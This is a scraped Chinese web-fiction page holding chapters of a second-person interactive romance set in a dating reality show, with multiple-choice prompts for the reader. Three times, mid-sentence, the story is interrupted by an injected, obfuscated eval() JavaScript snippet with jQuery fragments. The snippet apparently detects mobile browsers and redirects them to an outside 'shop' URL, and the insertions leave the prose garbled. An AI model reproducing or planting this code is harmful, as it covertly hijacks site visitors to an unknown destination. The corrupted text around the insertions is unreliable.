关冰箱门的时候,你发现第二层多出来一杯布丁:“这是什么?”
何君子回头看了一眼:“哦,这是昨天约会,潭西洲买的。”
末了,担心你误会似的,她又补充道,“每个人都有,味道也都不一样,昨天你们回来得晚,其他人都吃完了。”
你看着冰箱里剩下的两种口味:“哪个是我的?”
“桃子味的,”何君子停下动作,放空了一两秒,不知道想起什么,然后听她说道,“潭西洲找了很久。”
你的身体一僵,不禁多看了两眼何君子。
何君子说完这句话后,继续低头处理食材,即便感觉到你的目光,她也没有看过来,而是张了张嘴,准备继续往下说。
你的第六感猜到她想说什么,正想开口截断,但何君子的声音比你更快。
“我知道潭西洲的桃子香薰是送给你的,”她旧事重提,“但游戏规则是公平的。”
说完,何君子长舒了一口气,几乎有种破釜沉舟的决心。
你想逃,可脚就像被钉子钉在原地。
游戏规则是公平的,石头剪子布她赢了,没有人可以指责她,而她也只是做了自己认为对的事。
你回到餐桌旁,干巴巴地咽下面包,吃完才发现忘记倒牛奶,何君子笑了笑,为你添上。
临走前,潭西洲也下楼了。
何君子将做好的早餐摆在他面前。
看到你要出门,潭西洲起身问需不需要送你上班。
但你已经走到了门外,只能装作没听到,关门的瞬间,隐约听到何君子在向他说着什么。
但你已经无心回味,自己不是一个善于竞争的人。
……
晚上,你按照节目组给的地址,乘车抵达目的地。
通往餐厅包厢的过道设计得有些复杂,路旁的绿色盆栽几乎赶上你的身高,叶子轻轻扫过你的鼻尖和肩膀。
在服务生的引导下,记不清拐了几道弯后,你终于推开一扇哑光纹质门。
门内,比人先到的是一束陌生的目光,你几乎是下意识地挺直了后背,走了进去。
包厢正正方方,中央摆了一张四人的长形餐桌,目光的主人就坐在餐桌对面。
暖黄色的吊灯在他的周围镀了一圈柔光,却并没有削减他的气场。
你已经好久没有遇到过这样的感觉了,不知道是不是因为你是第一个到的女嘉宾。
尽管此前已经猜到会有新的男嘉宾来到小屋,也设想过这位嘉宾的长相,可没有想过这么仓促,而且这么紧张。
你走进房间,餐桌位置如下:
A男四
BC
碍于他的气场,你打算坐在他的对角线位置。
入座后,你借着喝水的动作,看清了他的模样。
他的衬衫领扣整齐地贴在锁骨上方,下颌干净利落,一双漆黑的眉眼也正看向你。
他的脸上没有多余的表情,只是礼貌地对你点点头,不见半分殷勤。
他的距离感和周越不同,周越清而不冷,而他,又冷又难以亲近。
他说他叫韩以泽。
声音淡淡的,不含任何感情,那种感觉……你找不到一个合适的比喻来形容。
不过好在声音字正腔圆,听起来意外地让人觉得很悦耳。
你默默地和他交换完名字,便不再开口。
这个人看起来不是你的理想型,你不打算深入了解,低下头一杯接一杯地喝水。
或许是他的气质太过于独特,你总是忍不住微微抬眼,偷瞄他几眼。
不料被他逮个正着。
你慌忙移开眼,拎起水壶往杯子里继续倒水,发现水壶居然空了。
你甚至不信邪地加大壶身的倾斜程度,晃了两下,依旧没有一滴水落下,一壶水居然被你喝空了!
一紧张就狂喝水这个毛病,到底什么时候能改啊!
耳边传来一声轻笑。
你抬头,发现是从对面传来的。
韩以泽的头略微低着,他没有看你,脸庞也很平静,好像刚才的笑声不是他发出的一样。
但这短暂的一笑缓解了空气中游荡着的尴尬,你也不好意思地干笑两声。
韩以泽摇了摇桌铃,很快就有服务员进来为你们添水。
韩以泽肩抵椅背,右手松散地放在桌上,待服务员离开后,他开口道:“这水很好喝?”
你礼貌答道:“就普通白开水的味道。”
不知是什么让韩以泽突然起了兴致,他直起身,也给自己倒了一杯水。
凉水入口,喉结上下一滑,他抿了抿嘴唇,似乎回味了一番,脸上终于出现了第二种表情。
“你好像有点紧张?”
他的问题怎么都这么难回答,明明是肯定句,却是疑问的语气,让人有一种心里的想法被轻易看穿的感觉。
“没有,天气太热,渴了,”你将脸侧的碎发拂至耳后,扯着蹩脚的理由,“我没想到会有新的男生,原本以为是女生之间的聚会。”
韩以泽哦了声,然后将水壶朝你推了推,又恢复了刚才那副懒洋洋的样子。
这时,门口有细碎的声音传来。很快,餐厅的门再次被推开。
何君子和唐甜手挽手一起走了进来,看到多出来的男生,她们并没有很惊讶。
莫名地,你如释重负地长长地松了一口气,氛围组终于来了。
结果另一侧的韩以泽好像听到了你的动静,朝你的方向扫了一眼。
捕捉到他的眼神,你立马抿起嘴巴,忽然有种背后说人坏话被当场抓住的心虚感。
有唐甜的地方永远不会冷场,餐桌上,她把小屋里的所有人介绍了一圈,说得绘声绘色。
韩以泽仔细听着,时不时会接上一两句话。
好奇怪,你独自面对他的时候,感觉自己到处充满危机,如果不留神,就会掉进他布置的陷阱。
但是,当大家都在的时候,你发现韩以泽的态度其实是温和的,他不会特意去打听些什么,更多地只是倾听。
不过你们刚认识,这些可能只是你的错觉。
然而本能告诉你,韩以泽一定是个有趣的人,但同时,也一定很危险。
再之后,为了降低存在感。你便很少插话。
散席时,唐甜故意落在后面,问你是不是不舒服,感觉今晚你的话有些少。
你投去一个让她安心的笑容,说还好,就是有点惊讶新嘉宾来得这么快。
唐甜说她也是,她原本以为新嘉宾至少还有一个星期才到。
……
韩以泽开了车来,车型看着很昂贵的样子。
不过你无心关注车标,刚想冲进后排,就看到何君子和唐甜各自打开左右两侧的车门。
你停在街边的台阶上,愣愣地看着她们坐进后座。
你转动自己僵硬的脖子,将目光投向副驾。
韩以泽倾身打开副驾的门,一副请君入瓮的架势。
你只好乖乖地坐进去,关上门,紧紧拉好安全带。
看你这副视死如归的表
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372347|199977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情,韩以泽有些好笑地看着你:“别紧张,我的车技还没到让人提心吊胆的地步。”
但你并没有因为这句话而放松,而是觉得自己很奇怪,为什么会对他敬而远之,这不是你来到小屋的初衷。
原本以为他会聊几句缓解气氛。
实际上,韩以泽开车很专注,没有和你讲话分散注意力。
慢慢地,在平稳的车速中,你靠着车窗睡着了。
等被人叫醒的时候,你们已经抵达小屋。
你睁开惺忪的双眼,挪了挪位置,感觉有东西从肩上滑落。
你低头,发现身上多了一件黑色毛毯。
你本能地抬眼看向韩以泽,他只是简单地回了几个字:“车里开了空调,可能会着凉。”
而坐在后座的唐甜很兴奋地拍了拍你的肩,小声道:“刚才你睡得熟,韩以泽特意停下车,给你披的。”
说完,她调皮地冲你眨眨眼。
你扯了扯嘴角,回避了她的暗示,之后将毛毯叠好,递回给韩以泽,低声道谢。
韩以泽没说什么,他接过毛毯,放在一边,然后解开安全带,开门下车。
你跟着他们,默默地走在最后。
到了门口,唐甜突然出了个主意。
女生们先进小屋,装作无事发生,过一两分钟,韩以泽再进去,给男生们一个惊喜。
这群男生见到韩以泽,会是什么反应,你们都有点好奇。
结果,就在唐甜开门的瞬间,一道清亮的女声从门缝里钻出来。
“周越,你能帮我开一下这个瓶盖吗,有点紧。”
屋里有点热闹,你们几个女生对了下眼神,均是同一种猜测——新的女嘉宾?
紧接着是霍远的声音:“周越在厨房,要不我试试?”
听不清女生又说了什么,随后是一阵不大不小的哄笑声。
你看到唐甜的脸色一下子变了。
虽然不知道发生了什么,但你的心情并不比唐甜好,这一晚将是可以预见的精彩。
还是节目组会玩。
事态进行到这一步,唐甜提的建议她自己也没了兴趣。
另一边,何君子很把这一切联系了起来,她上前一步,将唐甜护在身后,随即拧开把手。
韩以泽跟着你们走了进去。
你毫不意外,稍微用脑子想一想,就知道他不是那种爱玩小把戏的人。
刚进门的唐甜压根藏不住自己的心思,在玄关处弄出了声响,客厅沙发上的声音瞬间停滞。
接着,错落不一的脚步声往门口这边来。
然而率先出现的,是一位脸生的女生。
她穿了一身牛仔裙,头顶扎一个丸子,笑起来有个浅浅的酒窝,看起来非常活泼。
你们打量着新来的女嘉宾,欢迎的一方面,心也不禁往下沉了沉。
而她身后,是匆匆赶来的男生们,估计是想向你们介绍新的女嘉宾。
结果发现你们身边的陌生男人后,他们的笑容同样僵在了脸上。
不知道为什么,你有种很解气的感觉。
一群人顿时手足无措,好像背着对方做了什么坏事。
毕竟新嘉宾的到来,说明小屋的平衡将被打破。
“我叫赵念念。”新来的女生向你们打招呼,笑起来有一种不谙世事的率真。
你们一一介绍了自己。
八个人,对立而站,望着对方的眼神中都带着揣度和审视。
暗流涌动的时刻,你却听见韩以泽在旁边笑了一声,轻得几乎只有你听得见。
你转过头,不解地看着他。
韩以泽已经收了笑意。
他抬了抬下巴,示意你看赵念念的眼神,然后用只有你们两个听得到的声音说:“你没发现么,她的眼睛都快长到周越身上了。”
6. 第六章
赵念念是位年轻又漂亮的女孩,看得出来她年纪不大,整个人充满活力,就连说自己名字的时候,尾音都是拖长的。
但你的关注点却是......
还没轮到男生介绍,他怎么会知道谁是周越。
看出你的疑惑,韩以泽将目光投向周越的手,说道:“他拿剪刀的手势和拿手术刀一样。”
周越的拇指和中指扣进剪刀的指圈,食指搭在手柄外侧,妥妥的职业病。
唐甜在饭局上说过,周越是医生。
你的第一反应是,这人眼睛真毒,观察力拉满。
周越手正在拆食物包装,看到你和韩以泽旁若无人地小声讲话,他的眼神变了变。
直到何君子拿胳膊肘捅了捅你,你才转回头。
这时,周越已经上前来,伸出一只手:“你好,我是周越,欢迎。”
“你好,韩以泽。”
两只手握在空中停了一瞬,很快松开。
“你们刚在干嘛,好像挺热闹的。”唐甜的心思全都写在了脸上,大概她自己也明白,索性问个清楚。
“节目组赞助的椰子水到了,”霍远道,“想等你们回来一起喝。”
“哦,”唐甜盯着赵念念手中已经被拧开盖的瓶子看了一会,点点头,问,“你们吃饭了吗?”
男生们虽然已经换上了家居服,但头发都是仔细打理过的,显然刚回来不久,完全没有饿着的样子。
否则潭西洲早被撵回厨房做饭了,而不是站在这里。
但潭西洲依然戴着围裙,感觉像焊在身上,摘都摘不下来。不知道又是在帮谁开小灶。
屋内空调打的比较低,赵念念想喝一碗热乎乎的汤,霍远说他也想喝。
唐甜有些吃味,她看着霍远:“这么晚还喝呀?你不是过了八点就不动筷子了吗?”
屋子里突然安静下来。
霍远有些愕然,惊讶于唐甜不加掩饰的占有欲,也惊讶于她对他的越界。
尽管如此,霍远仍轻巧地化解了她的问题:“但是喝汤可以用勺子,大家一起喝吧,大厨已经在做了。”
说完,他转身走向厨房,那里有冒着热气的锅。
大概唐甜也意识到这个问题,她懊恼地哦了一声,躲在你和何君子之间。
尽管你很想帮助唐甜,但两个人的事情最好自己解决。
不管怎么说,喝还是不喝,谁想喝谁不想喝,怀着各自的心思,你们一群人又聚回了餐厅。
如果没有节目组临时的安排,今天本应是你和潭西洲做饭。
潭西洲刚开火,你卷起袖子准备打下手,周越和何君子也一起。
原本赵念念也想帮忙,但她今天刚来,还不熟悉厨房,只能退了回去。
其他人在餐桌旁,边吃水果边聊天,当聊到新来的两位嘉宾做什么工作时,大家才反应过来还没问他们的职业和年龄。
按老规矩,他们要给出关键词。
赵念念甚至还没有说话,霍远就已经猜了出来:“好了,这位大学生,你真的很明显。”
众人笑,赵念念没打算卖关子,承认自己在读大三,外文系,刚过21岁生日。
韩以泽就很难猜。
他进了小屋反而话很少,似乎几个小时之前和你的对话只是你自己的幻觉而已。
但他的存在本身很难让人忽视,即便不说话,也能干扰小屋里的电波。
不过,韩以泽似乎对玩我说你猜没有兴趣,不等众人问,他就已经开口:“游戏策划,27岁。”
听到他的职业,你觉得很新奇,他的职业和本人有点反差。
而且这个职业离你的生活很远。
见你沉默,韩以泽侧过头,突然问道:“你平时玩游戏吗?”
你摇摇头,坦白道:“我不玩游戏。”
他颌首,没再说话。
赵念念年纪小,性子很活泼,主动和大家讲起了今天来小屋的趣事,逗得大家哈哈大笑。
厨房里,你瞟了眼身边的周越,但周越没听见似的,听到好笑之处,也没什么反应,只是一昧择菜。
“这个夏天,真的很适合去看海,但是附近没有,好可惜。”赵念念话题一转。
虽然你没有刻意去看,不过能感觉到她说话的时候,目光总不自觉地向你旁边的位置瞧。
“是啊,”你正在准备食材,听到赵念念的提议,感同身受道,“如果小屋里有一台相机就更好了,可以拍照留念。”
赵念念立马从书包里翻出一台绿色的富士:“我这里有!”
你有些惊喜,抬起头:“我可以看看吗?”
隔着餐厅的岛台,赵念念大方地递给你。
你刚想回一个善意的笑,只见她的目光越过你,看向你旁边的人。
你有些奇怪,顺着她的视线看过去。
周越单手撑在岛台上,眉头紧皱,正盯着手机屏幕看。
见你看过来,周越指了指手机,说他要去接个电话,案板上的菜等他回来再处理。
等周越离开,你看着案板上圆滚滚的洋葱,想着反正自己手头也没什么事,于是拿起了菜刀。
另一边,何君子在洗胡萝卜,衣袖滑了下来,她腾不开手,便让潭西洲帮忙挽一下袖子。
潭西洲站在你和何君子之间。
你瞥见他擦了擦手,微微侧过身子帮忙。
不知道为什么,你总觉得自从昨天约会回来,就和潭西洲之间隔了一道若有若无的墙。
那边何君子聊起自己的菜单,潭西洲说他已经买好食材,并放进冰箱了。
尽管你已经做好了心理准备,但看到这一幕还是仍不住有些失落。
毕竟潭西洲表露出的善意,让你不想失去这个朋友。
餐桌那边正热闹,没人注意到厨房这边的动静。
案板上的洋葱呛得人只想流泪,你一边吸鼻子一边切。
不知是听到了你的声音,还是闻到了洋葱的味道,潭西洲转身接过你手里的刀,伸到池中,他打开水龙头,将刀冲洗干净,嘱咐道:“切洋葱的时候,刀面沾点水会好一点。”
说完,他把刀柄递给你。
你刚准备接,另一只手突然出现,将刀拿走。
接着,头顶传来一道声音:“洋葱味道大,我来切,你去休息一会儿。”
是周越的声音。
简直是救世主!
你向周越道了声谢,摘下围裙,从厨房走了出去,路过餐桌的时候,察觉有双眼睛一直追随着你。
关门的瞬间,你透过缝隙看了过去。
是韩以泽,不知道他看了有多久。
你错开视线,已无心追究,只想出去透透气。
……
小屋外有一片巨大的草坪,角落里摆着一架白色秋千。
夜风温柔,你闭着眼睛靠在秋千上,回想着最近发生的事情,感觉膝盖一热,有什么东西盖在了腿上。
你睁开眼睛。
潭西洲将毛毯盖在了你的腿上:“小心着凉。”
你低声道谢。
他没有坐下,轻微靠着秋千,沉默在夏夜间蔓延。
自从第一次约会结束,你和他一直没有独处的空间。
过了半晌,潭西洲突然问道:“那天晚上,冰箱里的绿豆汤,你没有喝吗?”
你被他问住了,斟酌半晌,回道:“还在冰箱吗?”
“后来那晚我又回了趟厨房,发现没有被动过,”他强挤出一丝笑,“绿豆汤过夜也不太好,所以......”
所以倒掉了。
这是他没有说完的话,但你已经猜到了,心底隐约泛出一些内疚。
“抱歉,我......我那天吃的太饱了。”这是实话。
听完你的解释,潭西洲面色缓了缓,说道:“那晚我丢下你,也很抱歉。但如果是其他人有需要,我一样会帮忙。”
听完他的话,你心里平衡了一些,不自觉笑了:“该说不说,你就这么想让大家打官司啊。”
见你面露笑意,潭西洲也恢复了轻松的神色。
还有另外一件事,你也想知道,今天索性一次性问了:“我想听听你对小屋的女生们是什么印象?”
潭西洲略一思忖,缓缓开口:“何君子很好,看起来成熟干练,其实有一颗少女心。唐甜开朗活泼。赵念念刚来,还不太了解。还有你.......”
他顿了顿,抬头看了一眼你,继续说道:“你很有个性,和你聊天很有趣,也很开心。”
心里有根弦被轻轻拨动。
潭西洲似乎也有想知道的事情,但他没有直接问,而是换了一种问法:“我听周越说,那天约会,你们去了寺庙?”
当天约会回来的时候,潭西洲有问过,但当时被周越岔了过去。
你点点头。
潭西洲突然笑了一声:“挺让人意外的,我和霍远都以为周越没有想要约会的对象。”
什么意思,你投去疑惑的眼神。
他换了一种问法:“你觉得约会能改变人的心意吗?”
小屋是一个集体,想要和另外一个人独处,还不被其他人打扰,这种机会几乎少得可怜。
所以节目组才安排了约会环节,有充分的机会让彼此了解,可即便这样,也有很多赌博的成分,不是每次都能选到自己想了解的人。
“小屋的状态和约会的状态是不一样的,”你想了想,说道,“在大家熟悉之前,约会是只属于两个人的时间,所以你才会发现君子的另一面。”
人的心意不会只因一场约会就改变,但必须承认的是,约会是感情升温不可或缺的一环。
不知道是不是你的话让他想起了那天约
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372348|199977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会的情形,潭西洲似乎一直在走神。
就在你以为他不会再开口时,潭西洲突然讷讷道:“其实约会那天,我和何君子是最早回来的,等其他人都到了小屋,只有你和周越还没回来,我就已经猜到你和周越去约会了。后来我在客厅等了你们很久,那种感觉说不上是懊恼还是沮丧。”
此刻的潭西洲让你感觉有些陌生,过去他在小屋一直都很温和,像一杯温温的白开水,虽然不打眼,但给人的感觉很安心。
但此刻的他像一杯刚烧开的热水,热气腾腾的,几乎要涌出来,急切地想让你知道所有的事。
只听他又问道:“如果重新来一次,你会坚持当初选择的礼物吗?”
选礼物那天发生的一切很戏剧性又很合理。
你坦白道:“其实一开始,我很想选桃子味的香薰。”
听到这里,潭西洲的眼睛一亮。
你垂下眼皮,继续说道,“你知道的,我喜欢一切桃子味的东西,但很明显,我不擅长玩任何游戏,包括石头剪刀布,而且......”
你盯着自己的脚尖,然后鼓起勇气一般,抬头注视着他:“显然有人比我更聪明,也更了解你。”
潭西洲的眼睛逐渐暗了下去:“但我自己也有想了解的人。”
他说完这些话,很快就冷静了下来,空气中有一丝凝静。
潭西洲撇过脸,你看不清他的表情。
秋千不知不觉停住,你将腿上盖着的毛毯拉到肩上,很认真地看向他:“其实,无论是你还是周越,都是很好的人。”
潭西洲终于将正脸转向你,夜色渐深,他的眉间多了几分朦胧和涩然:“周越,和他过招就像打太极,表面上他什么都没干,实则什么都干了。”
“而韩以泽,”说到韩以泽,他的目光在你身上落了一秒,又很快移开,问,“你知道鲶鱼效应吗?”
“什么鲶鱼效应?”你很困惑。
潭西洲神色变幻几瞬,却没有正面回答你的问题:“他一进小屋就在试探。”
“试探什么?”你没听懂。
“试探别人。”见你不懂,潭西洲补充道。
“别人?”你扯了扯唇角,“谁啊。”
“谁沉不住气,谁就是他想试探的人。”潭西洲说得更直白了些,“鲶鱼就是,它能够搅乱小屋的现状。”
你好像听懂了,又好像没听懂,不知道为什么,你的心开始焦躁起来,感觉小屋要有一些事情发生。
这种不好的预感,让你想尽快结束这段对话。
于是你借口说自己饿了,想回屋补充一下能量。
……
回到小屋,鲶鱼这两个字在脑海里更是挥之不去,你没忍住多瞟了几眼韩以泽。
他感知能力很强,你刚望过去,下一秒他就扭过头来。
趁他看过来之前,你迅速将目光划走。
餐桌上,赵念念坐在周越对面的位置上,她年轻的小脸红扑扑的,喝汤也喝得津津有味。
你抵着额头看她,心里想,这鲶鱼哪止一条。
见你和潭西洲一前一后进门,周越神色如常,他说锅里还有留给你的汤。
但你已经没有胃口,便拒绝了。
这时,韩以泽递过来一盘切好的芒果。
周越伸手拦下,提了一句:“她芒果过敏。”
韩以泽一愣,向你投来询问的眼神,你如是点点头。
韩以泽垂眸说了声抱歉,放下盘子。
新人的加入,让餐厅变得更热闹,看起来好像没有需要你的地方,于是你转身上楼回了卧室。
洗漱完毕,很快到了发送心动短信的时候,目前为止,你最心动的人是?
A周越
B潭西洲
C韩以泽
D霍远
今天,你打算将心动短信发给谁?
A周越
B潭西洲
C霍远
D韩以泽
片刻等待,你收到三条短信。
一条是:【以后不要再切洋葱了。】
【你觉得这条短信来自哪位男嘉宾?】
A周越
B潭西洲
C霍远
D韩以泽
第二条:【我心匪石,难以转矣。】
【你觉得这条短信来自哪位男嘉宾?】
A周越
B潭西洲
C霍远
D韩以泽
第三条:【你好,谢知意。】
【你觉得这条短信来自哪位男嘉宾?】
A周越
B潭西洲
C霍远
D韩以泽
入睡前,你接收到一条节目组发来的消息。
“嘉宾你好,明天你有一场秘密约会,请对其他人进行保密,并提前做好准备~”
7. 第七章
今天是周末,你本想睡个懒觉,但想到还有一场秘密约会,内心的好奇和期待迫使你早早醒来。
起床后,你打算去做早餐。
刚进厨房,赵念念已经在忙碌中,只是做饭的动作不太熟练,看起来有些手忙脚乱。
看到你,她像发现了救兵,忙问你厨房的火为什么打不着。
你走过去,转动按钮,停留了一两秒后,火开了。
赵念念挠了挠脑袋,不好意思地道了声谢,随后磕两个鸡蛋进锅,但没掌握好火候,眼看着快焦了。
你无奈一笑,接过她手中的铲子,轻轻一挑,从两边往中间收,是一个很完美的正方形,你喜欢这么煎鸡蛋。
这下赵念念更窘迫了,她红着脸又道了一声谢。
这时你注意到她将煎好的鸡蛋分装在两个盘子里,又拿番茄酱在其中一个上面画了颗爱心,同时挑走了你放在里面点缀的葱花。
你诧异地看了她一眼。
大抵是感受到了你的眼神,赵念念抬头,尴尬地解释道:“周越不吃葱花……抱歉……”
“他不吃葱花?”你只知道他海鲜过敏,但从没听他说过不吃葱花。
“对啊,”赵念念说,“昨天晚上他切葱的时候,手都红了,感觉像过敏。”
“后来呢?”你紧张地问道。
“后来我陪他去药店买了药,”说到这里,她突然想起了什么,“噢,对了,昨晚我们出门的时候,还看到你和潭西洲在小花园里呢。”
说完,赵念念冲你暧昧地一笑。
小屋经常发生这种事情,原来正常的聊天,但在其他人眼里,就完全变了味。
想到这里,你无视她的暗示,弯腰从冰箱里拿出牛奶,说道:“他没事就好。”
早餐过后,你正在冲洗杯子,听到外面有动静,你抬头看过去。
韩以泽抄着兜,正悠悠闲闲地往楼下走。
你礼貌地道声早,低头继续做自己的事。
韩以泽也回了声早,他来到厨房冲了杯咖啡,又热了两片面包。
而赵念念做了一早上的饭,此时终于到了收尾阶段,她正小心翼翼地将包好的饭团塞进便当盒里。
韩以泽看见鸡蛋上的爱心,很快联想到什么,他目光一转,朝你的方向看来,眼神颇有些耐人寻味。
余光捕捉到他的视线,你抬起头,直直地看了回去,看起来要和他较劲。
而这时韩以泽已经平静地收回眼神,他倚靠在岛台边,将吐司边一条一条地撕开摆在盘子里。
你疑惑地看着他的操作,以为他喜欢分开吃,结果见他只吃掉了吐司体,吐司边却丝毫未动。
浪费可耻......你闭眼忍了忍,终究还是委婉道:“不喜欢吃吐司边的话,可以买无边吐司。”
韩以泽低头瞧了眼自己手中光秃秃的吐司,道:“哪里有?”
“出门拐弯,第一个红灯左转,第二个路口直行,再走几百米,出现一个红色招牌,就在那儿。”那家商超是附近最大的超市,你去过几次,几乎不带任何犹豫地回答。
韩以泽看着你,脸上没有多余的表情,他没有说话,更没有行动的打算。
你突然意识到,他好像不是这个意思。
你指了指自己,问道:“你是想......我带你去?”
韩以泽不假思索点头。
他不会是路盲吧,你觉得自己说得很详细了。
转念一想,韩以泽昨天刚来,的确需要一个人带他熟悉小屋附近,只是这个责任,突然就落到了你身上。
但是,你还有一场秘密约会。节目组现在没发具体时间,那可能是在晚上。
反正闲着也是闲着,刚好你也想出去散散心。
韩以泽喝完最后一口咖啡,将装吐司边的盘子包了层保鲜膜,放进冰箱,走到门口发现你没有跟上来,于是停在原地等着,没有催促。
赵念念听见你们的声音,也抬头看过来,她还在和各种食材斗智斗勇,知道你们要出去,很开心地和你们告别。
你可以预料到自己出去之后,小屋里面可能会发生什么样的猜测,但双脚已经不由自主地走到门外。
本来只想带韩以泽去买面包,但一进超市,购物欲就无限膨胀。
但韩以泽不一样,他目的性很强,除了面包他什么都没拿,反倒是你,手就没停下来过。
当你们把大大小小的购物袋塞进车后箱,准备打道回府的时候。
韩以泽突然扶住车门,挡下你的动作,他说今天天气很好,问你要不要去散散步。
韩以泽说这话的表情很一本正经,你从来没在他的脸上见到过这种表情,比以往任何时刻都要诚恳。
你不擅长拒绝别人,心想今天白天也没什么事,附近刚好有公园,随便逛逛好了。
这个公园很大,离小区也不远,你每天从这里经过,却从来没来过。
反而韩以泽轻车熟路,羊肠小道还是幽林小径,通往哪个方向,他都清清楚楚。根本不是路盲。
你不用思考,跟着他走就行,非常省事。
周末清晨的人不多,只有零星几个老年人在散步打太极拳。
你被他们吸引了注意,边看边走,就是没看路,结果一头撞上了前面人的后背。
韩以泽被这股力道冲得停了下来,他转过身低头看着你。
正当你以为他要戏谑你几句时,他却道:“我能问你一个问题吗?”
清晨的风刮过你的皮肤,不知道为什么,在他的注视下,你的心突然紧张起来。
“昨天晚上潭西洲和你出去,是发生了什么吗?”见你面露难色,他又状似体贴般地宽慰道:“不方便可以不回答。”
他轻飘飘扔下一句话,回头继续往前走。
留下你在原地深思许久。
你突然想到潭西洲昨晚说的“鲶鱼”,一尾激起千层浪。
这层浪不仅拍乱了小屋的节奏,也拍向了你。
看着前方越走越远的背影,你小跑几步追上去,却并不打算向他说实话。
他的眼睛,似乎有看穿任何人的本事,他越是想知道,你越不想告诉他。
但韩以泽总是让人捉摸不透,他问出这个问题的同时,好像没想过要知道答案,答案对他而言,也没看上去那么重要。
意识到这点的时候,你又突然有千言万语想说。
太矛盾了。
你觉得自己就应该在他说话之前,捂住耳朵,或者干脆在出门前,拿胶带把他的嘴巴粘紧。
“发生了挺多的,你想听哪一件?”
听出你抵触的语气,韩以泽轻笑一声:“你别多想,只是昨天晚上回来之后,你没怎么吃饭,今早也一直有心事,所以我猜或许是你们说了什么。”
你反驳道:“你想多了。”
同时,你岔开话题:“公园逛完了,我们回去吧。”
韩以泽头一歪,示意你:“等等。”
“干什么?”你顿住脚步。
这时,你听见一阵巨大的引擎声离你的头顶越来越近,循声抬头,一架白色的直升飞机正盘旋着缓缓下降。
“好大的直升机,”你停在原地,仰头看着,惊叹道,“哪位大佬开直升机来逛公园啊。”
韩以泽拨开半人高的灌木丛。
那架直升机落在巨大的草坪上,停在了你们面前。
公园里的人听到响动,都停了动作,转头朝向这边窃窃私语。
驾驶员推门下来,是一个陌生的男人。
他走过来和韩以泽互相握了下手,寒暄几句,离开前顺便打量了你一眼。
你怔怔地看着这一幕,只见韩以泽道声谢后,走向前去。
你顶着风,小跑过去,扯住他的衣摆,疑虑道:“等一下,你这是……?”
韩以泽没有说话,也没停下来,走路的时候甚至带了一阵风,向你迎面吹来。
直到他走进机舱,转身向你伸手:“上来。”
螺旋桨刮过的风吹乱了你的发丝,你下意识地后退几步。
见你犹豫,韩以泽的手又向你递了递。
你看了眼身后,摄影机都在,犹豫之下,你抓住他的手腕跟了上去。
机舱里只有两个座位,韩以泽坐在驾驶员的位置,另一个座位被收拾得干干净净。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372349|199977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坐在副驾,你还没有从茫然中抽离,韩以泽已经按动按钮。
舱门缓缓关上,引擎的声音再一次在耳边响起。
透过舷窗,越来越多的人抬头注视着这里,指指点点说着些什么。
你收回目光,转头看向韩以泽。
这完全颠覆了你的记忆,你们不是去超市吗,为什么突然坐上了直升机,而且直升机哪来的,他不是游戏策划师吗,怎么会开直升机。
像正常人突然掉进了黑洞,你戒备地看着韩以泽。
还有,节目组为什么没有提前告知你有这一环节。
“不要担心,是我要求保密的。”韩以泽开口说了第一句话。
飞机飞得很高,地面的公园逐渐变成圆点,你感觉自己像被牢牢地钉在了椅座上,有个念头一闪而过。
“这是秘密约会?!”
韩以泽不置可否。
“我?”你难以置信地指了指自己,又指了指他,“你?秘密约会?”
“是。”
你反应了一下,又问道:“所以我们去哪也要保密?”
“是。”
你奋起反抗,逼问目的地。
可韩以泽的嘴巴像一块坚硬的金石,无论你怎么追问,都严丝合缝。
你盯着他看了许久,心中百转千回,不禁问道:“你真的只是游戏策划师?”
韩以泽腾出一只手,摸了摸自己的脸颊:“怎么了?不信?”
你摇摇头:“不是,就是觉得不太像。”
“哪里不像?”
说不上来。
你想了想:“我觉得你像个冒险家。”
韩以泽忍不住笑了两声:“那你想冒险吗?”
“冒什么险?”你下意识地抓紧安全带。
下一秒,韩以泽轻轻一拉操纵杆,飞机转个弯斜着飞了出去。
你的身体失重般地往下掉,忙抓住他的手臂,连让他停下的声音都在打颤。
接着,韩以泽如鱼得水地将直升机拉回平衡线,稳稳地穿过一片绵白的云层,就像电视剧里腾云驾雾的神仙那样。
脑袋晕乎乎的,反应过来是他故意的之后,你长舒口气,一把甩开他的胳膊,哼了一声决定不再理他。
结果韩以泽没尽兴似的,故技重施了几个回合。
在努力保持镇定的加持下,你居然逐渐享受到了这种失重的轻飘飘的感觉。
见你兴致渐浓,韩以泽甚至允许你的手握着操作杆,开了一小段距离。这种感觉简直神奇。
天空在游走,你紧贴着舷窗向下望去,平日里川流不息的马路此刻变成一条缓缓蠕动的灰带。
机身在气流的突袭下猛地摇晃。
